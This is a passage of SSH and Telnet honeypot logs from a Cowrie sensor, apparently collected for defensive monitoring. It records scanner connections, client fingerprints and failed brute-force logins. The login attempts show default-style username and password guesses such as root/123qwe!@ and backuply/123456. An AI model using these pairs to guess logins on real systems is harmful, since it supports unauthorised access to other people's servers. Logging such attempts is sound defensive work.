m","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:08.363364Z","src_ip":"45.153.34.114","session":"08617986b246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:08.693177Z","src_ip":"45.153.34.114","session":"08617986b246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":22793,"dst_ip":"10.17.0.5","dst_port":22,"session":"da49c1adb315","protocol":"ssh","message":"New connection: 220.205.122.34:22793 (10.17.0.5:22) [session: da49c1adb315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:09.378645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:09.383110Z","src_ip":"220.205.122.34","session":"da49c1adb315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:09.395575Z","src_ip":"125.16.27.190","session":"82530c72b7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:09.615457Z","src_ip":"220.205.122.34","session":"da49c1adb315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:09.779632Z","src_ip":"45.153.34.114","session":"08617986b246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"random","message":"login attempt [root/random] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:10.575688Z","src_ip":"220.205.122.34","session":"da49c1adb315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:11.811588Z","src_ip":"220.205.122.34","session":"da49c1adb315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":52350,"dst_ip":"159.203.135.109","dst_port":22,"session":"b82ded1493f0","protocol":"ssh","message":"New connection: 81.192.46.49:52350 (159.203.135.109:22) [session: b82ded1493f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:13.223616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:13.227849Z","src_ip":"81.192.46.49","session":"b82ded1493f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:13.343917Z","src_ip":"81.192.46.49","session":"b82ded1493f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:13.833923Z","src_ip":"81.192.46.49","session":"b82ded1493f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:14.952781Z","src_ip":"81.192.46.49","session":"b82ded1493f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56970,"dst_ip":"159.203.135.109","dst_port":22,"session":"70320ec308f0","protocol":"ssh","message":"New connection: 45.153.34.114:56970 (159.203.135.109:22) [session: 70320ec308f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:16.815691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:16.820814Z","src_ip":"45.153.34.114","session":"70320ec308f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:16.905407Z","src_ip":"45.153.34.114","session":"70320ec308f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:17.177436Z","src_ip":"45.153.34.114","session":"70320ec308f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:18.302770Z","src_ip":"45.153.34.114","session":"70320ec308f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":55304,"dst_ip":"159.203.135.109","dst_port":23,"session":"549fe1a0bcac","protocol":"telnet","message":"New connection: 74.91.213.120:55304 (159.203.135.109:23) [session: 549fe1a0bcac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:18.693298Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":54830,"dst_ip":"159.203.135.109","dst_port":22,"session":"1da5bcbd47bc","protocol":"ssh","message":"New connection: 107.0.200.227:54830 (159.203.135.109:22) [session: 1da5bcbd47bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:20.563106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:20.567665Z","src_ip":"107.0.200.227","session":"1da5bcbd47bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:20.604095Z","src_ip":"107.0.200.227","session":"1da5bcbd47bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.abc","message":"login attempt [root/123.abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:20.761328Z","src_ip":"107.0.200.227","session":"1da5bcbd47bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:21.795661Z","src_ip":"107.0.200.227","session":"1da5bcbd47bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42120,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef2f5becfb35","protocol":"ssh","message":"New connection: 45.153.34.114:42120 (159.203.135.109:22) [session: ef2f5becfb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:25.112114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:25.121048Z","src_ip":"45.153.34.114","session":"ef2f5becfb35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:25.204811Z","src_ip":"45.153.34.114","session":"ef2f5becfb35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:25.526079Z","src_ip":"45.153.34.114","session":"ef2f5becfb35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:26.730463Z","src_ip":"45.153.34.114","session":"ef2f5becfb35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45900,"dst_ip":"159.203.135.109","dst_port":22,"session":"917ba80185a4","protocol":"ssh","message":"New connection: 45.153.34.114:45900 (159.203.135.109:22) [session: 917ba80185a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:33.231356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:33.235969Z","src_ip":"45.153.34.114","session":"917ba80185a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:33.325354Z","src_ip":"45.153.34.114","session":"917ba80185a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:33.601599Z","src_ip":"45.153.34.114","session":"917ba80185a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":46030,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7f22a96c8f5","protocol":"ssh","message":"New connection: 45.61.187.220:46030 (159.203.135.109:22) [session: f7f22a96c8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:33.830081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:33.834893Z","src_ip":"45.61.187.220","session":"f7f22a96c8f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:33.883183Z","src_ip":"45.61.187.220","session":"f7f22a96c8f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"incoming","password":"password","message":"login attempt [incoming/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:34.097248Z","src_ip":"45.61.187.220","session":"f7f22a96c8f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:34.714752Z","src_ip":"45.153.34.114","session":"917ba80185a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:35.157572Z","src_ip":"45.61.187.220","session":"f7f22a96c8f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":26183,"dst_ip":"10.17.0.5","dst_port":22,"session":"68bcb9a0bac3","protocol":"ssh","message":"New connection: 175.107.32.186:26183 (10.17.0.5:22) [session: 68bcb9a0bac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:40.700391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:40.708442Z","src_ip":"175.107.32.186","session":"68bcb9a0bac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:40.915239Z","src_ip":"175.107.32.186","session":"68bcb9a0bac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48860,"dst_ip":"159.203.135.109","dst_port":22,"session":"485261198b47","protocol":"ssh","message":"New connection: 45.153.34.114:48860 (159.203.135.109:22) [session: 485261198b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:41.435211Z"}
